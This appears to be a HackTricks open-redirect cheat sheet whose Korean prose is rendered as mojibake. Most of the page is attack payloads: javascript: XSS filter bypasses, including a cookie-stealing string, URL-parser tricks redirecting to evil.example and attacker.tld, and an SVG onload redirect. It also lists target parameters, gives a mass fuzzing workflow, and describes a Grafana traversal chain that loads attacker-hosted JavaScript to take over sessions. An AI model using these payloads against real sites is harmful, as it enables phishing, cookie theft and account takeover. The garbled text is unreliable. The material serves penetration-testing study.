์คํ ๋ฆฌ๋ค์ด๋ ํธ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์คํ ๋ฆฌ๋ค์ด๋ ํธ
localhost ๋๋ ์์ ๋๋ฉ์ธ์ผ๋ก ๋ฆฌ๋ค์ด๋ ํธ
- ์ฑ์ด โinternal/whitelisted hostsโ๋ง ํ์ฉํ๋ค๋ฉด, ๋ฆฌ๋ค์ด๋ ํธ ๋์์ ๋ํด ๋ค๋ฅธ ํธ์คํธ ํ๊ธฐ๋ฒ์ ์๋ํด loopback์ด๋ ๋ด๋ถ ๋ฒ์๋ฅผ ์ง์ ํด ๋ณด์ธ์:
- IPv4 loopback ๋ณํ: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
- IPv6 loopback ๋ณํ: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
- ํํ ์ ๋ฐ ๋์๋ฌธ์: localhost., LOCALHOST, 127.0.0.1.
- loopback์ผ๋ก ํด์๋๋ ์์ผ๋์นด๋ DNS: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. ํธ์คํธ๊ฐ โsubdomains of Xโ๋ง ํ์ฉํ์ง๋ง ํธ์คํธ ํด์์ด ์ฌ์ ํ 127.0.0.1์ ๊ฐ๋ฆฌํฌ ๋ ์ ์ฉํฉ๋๋ค.
- ๋คํธ์ํฌ-๊ฒฝ๋ก ์ฐธ์กฐ๋ ์ข ์ข ์คํด์ ์์ ๋ถ์ด๊ฑฐ๋ ์ ๋์ฌ๋ง ๊ฒ์ฌํ๋ ๋จ์ํ ๊ฒ์ฆ๊ธฐ๋ฅผ ์ฐํํฉ๋๋ค:
- //attacker.tld โ scheme-relative๋ก ํด์๋์ด ํ์ฌ ์คํด์ผ๋ก ์คํ์ฌ์ดํธ๋ก ์ด๋ํฉ๋๋ค.
- Userinfo ํธ๋ฆญ์ trusted hosts์ ๋ํ contains/startswith ๊ฒ์ฌ๋ค์ ์ฐํํฉ๋๋ค:
- https://trusted.tld@attacker.tld/ โ ๋ธ๋ผ์ฐ์ ๋ attacker.tld๋ก ์ด๋ํ์ง๋ง ๋จ์ ๋ฌธ์์ด ๊ฒ์ฌ๋ โtrusted.tldโ๋ฅผ โ๋ณธ๋คโ๊ณ ์ธ์ํฉ๋๋ค.
- ํ๋ ์์ํฌ/๋ธ๋ผ์ฐ์ ๊ฐ ๋ฐฑ์ฌ๋์ ํ์ฑ ํผ๋:
- https://trusted.tld@attacker.tld โ ์ผ๋ถ ๋ฐฑ์๋๋ โ\โ๋ฅผ ๊ฒฝ๋ก ๋ฌธ์๋ก ์ฒ๋ฆฌํ์ฌ ๊ฒ์ฆ์ ํต๊ณผ์ํค์ง๋ง, ๋ธ๋ผ์ฐ์ ๋ ์ด๋ฅผ โ/โ๋ก ์ ๊ทํํ๊ณ trusted.tld๋ฅผ userinfo๋ก ํด์ํ์ฌ ์ฌ์ฉ์๋ฅผ attacker.tld๋ก ๋ณด๋ ๋๋ค. ์ด๋ Node/PHP URL-parser ๋ถ์ผ์น์์๋ ๋ํ๋ฉ๋๋ค.
์ต์ open-redirect์์ XSS๋ก์ ํผ๋ฒ
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)
# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)
#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0
#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
๋ ํ๋์ ์ธ URL-based bypass payloads
```text # Scheme-relative (current scheme is reused) //evil.exampleCredentials (userinfo) trick
https://trusted.example@evil.example/
Backslash confusion (server validates, browser normalizes)
https://trusted.example@evil.example/
Schemeless with whitespace/control chars
evil.example%00 %09//evil.example
Prefix/suffix matching flaws
https://trusted.example.evil.example/ https://evil.example/trusted.example
When only path is accepted, try breaking absolute URL detection
/\evil.example /..//evil.example
</details>
## Open Redirect svg ํ์ผ ์
๋ก๋
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
์ผ๋ฐ์ ์ธ ์ธ์ ์ ํ๋ผ๋ฏธํฐ
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
์ฝ๋ ์์
.Net
response.redirect("~/mysafe-subdomain/login.aspx")
Java
response.redirect("http://mysafedomain.com");
PHP
<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>
Hunting and exploitation workflow (์ค์ต)
- curl๋ก ๋จ์ผ URL ํ์ธ:
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
- ๋๊ท๋ชจ๋ก ๊ฐ๋ฅํ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ๊ฒฌํ๊ณ fuzz:
ํ์ฅํ๋ ค๋ฉด ํด๋ฆญ
```bash # 1) Gather historical URLs, keep those with common redirect params cat domains.txt \ | gau --o urls.txt # or: waybackurls / katana / hakrawler2) Grep common parameters and normalize list
rg -NI โ(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)โ urls.txt
| sed โs/\r$//โ | sort -u > candidates.txt
3) Use OpenRedireX to fuzz with payload corpus
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt
4) Manually verify interesting hits
awk โ/30[1237]|Location:/Iโ results.txt
</details>
- Donโt forget client-side sinks in SPAs: window.location/assign/replace์ query/hash๋ฅผ ์ฝ์ด ๋ฆฌ๋๋ ์
ํ๋ ํ๋ ์์ํฌ ํฌํผ๋ฅผ ์ฐพ์๋ณด์ธ์.
- ํ๋ ์์ํฌ๋ ๋ฆฌ๋๋ ์
๋ชฉ์ ์ง๊ฐ ์ ๋ขฐํ ์ ์๋ ์
๋ ฅ(query params, Referer, cookies)์์ ์ ๋๋ ๋ ์ข
์ข
์ทจ์ฝ์ ์ ์ ๋ฐํฉ๋๋ค. Next.js์ ๋ฆฌ๋๋ ์
๊ด๋ จ ์ฃผ์์ฌํญ์ ํ์ธํ๊ณ ์ฌ์ฉ์ ์
๋ ฅ์์ ์ ๋๋ ๋์ ๋ชฉ์ ์ง๋ ํผํ์ธ์.
<a class="content_ref" href="../network-services-pentesting/pentesting-web/nextjs.md"><span class="content_ref_label">NextJS</span></a>
- OAuth/OIDC flows: open redirectors๋ฅผ ์
์ฉํ๋ฉด authorization codes/tokens๋ฅผ leakingํ์ฌ account takeover๋ก ์์ฃผ ์ด์ด์ง๋๋ค. ์ ์ฉ ๊ฐ์ด๋๋ฅผ ์ฐธ์กฐํ์ธ์:
<a class="content_ref" href="./oauth-to-account-takeover.md"><span class="content_ref_label">OAuth to Account takeover</span></a>
- Location ์์ด ๋ฆฌ๋๋ ์
์ ๊ตฌํํ๋ ์๋ฒ ์๋ต(meta refresh/JavaScript)์ ์ฌ์ ํ phishing์ ์
์ฉ๋ ์ ์์ผ๋ฉฐ ๋๋ก๋ ์ฐ์์ ์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค. Grep for:
```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>
Fragment smuggling + client-side traversal chain (Grafana-style bypass)
- Server-side gap (Go
url.Parse+ raw redirect): validators๊ฐURL.Path๋ง ๊ฒ์ฌํ๊ณURL.Fragment๋ฅผ ๋ฌด์ํ๋ฉด ์ธ๋ถ ํธ์คํธ๋ฅผ#๋ค์ ๋์ ์์ผ ์ ์์ต๋๋ค. ํธ๋ค๋ฌ๊ฐ ๋์ค์ unsanitized ๋ฌธ์์ด๋กLocation์ ๋น๋ํ๋ฉด, fragments๊ฐ ๋ฆฌ๋ค์ด๋ ํธ ๋์์ leak๋ฉ๋๋ค./user/auth-tokens/rotate์ ๋ํ ์: - Request:
GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1 - Parsing sees
Path=/andFragment=/..//\//attacker.com, so regex +path.Clean()approve/, but the response emitsLocation: /\//attacker.com, acting as an open redirect. - Client-side gap (validate decoded/cleaned, return original): SPA helpers๊ฐ ๊ฒฝ๋ก๋ฅผ ์์ ํ ๋์ฝ๋ฉ(์ค๋ณต ์ธ์ฝ๋ฉ๋
?ํฌํจ)ํ๊ณ ๊ฒ์ฆ์ ์ํด ์ฟผ๋ฆฌ๋ฅผ ์ ๊ฑฐํ ๋ค ์๋ณธ ๋ฌธ์์ด์ ๋ฐํํ๋ฉด ์ธ์ฝ๋ฉ๋../๊ฐ ์ด์๋จ์ต๋๋ค. ๋ธ๋ผ์ฐ์ ๊ฐ ๋์ค์ ๋์ฝ๋ฉํ๋ฉด ๋์ผ ์ถ์ฒ์ ์๋ฌด ์๋ํฌ์ธํธ(์: redirect gadget)๋ก traversal์ด ๋ฐ์ํฉ๋๋ค. ํ์ด๋ก๋ ํจํด: /dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate- The validator checks
/dashboard/script/(no..), returns the encoded string, and the browser walks to/user/auth-tokens/rotate. - End-to-end XSS/ATO: traversal์ fragment-smuggled redirect์ ์ฒด์ธ์ผ๋ก ์ฐ๊ฒฐํด dashboard script loader๊ฐ attacker JS๋ฅผ fetchingํ๋๋ก ๊ฐ์ ํฉ๋๋ค:
https://<grafana>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js
- path traversal๊ฐ rotate endpoint์ ๋๋ฌํ๋ฉด, ํ๋๊ทธ๋จผํธ์ ์๋๋
redirectTo๋ก๋ถํฐattacker.com/module.js๋ก 302๋ฅผ ๋ฐํํฉ๋๋ค. ๊ณต๊ฒฉ์ origin์ด ํ์ฉ์ ์ธ CORS๋ก JS๋ฅผ ์ ๊ณตํ๋ฉด ๋ธ๋ผ์ฐ์ ๊ฐ ์ด๋ฅผ ์คํํ์ฌ session theft/account takeover๊ฐ ๋ฐ์ํฉ๋๋ค.
๋๊ตฌ
- https://github.com/0xNanda/Oralyzer
- OpenRedireX โ open redirects๋ฅผ ํ์งํ๊ธฐ ์ํ fuzzer. ์:
# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh
# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
์ฐธ๊ณ ์๋ฃ
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect ์์ fuzzing lists๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
- https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html
- https://github.com/cujanovic/Open-Redirect-Payloads
- https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a
- PortSwigger Web Security Academy โ DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
- OpenRedireX โ A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX
- Grafana CVE-2025-6023 redirect + traversal bypass chain
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


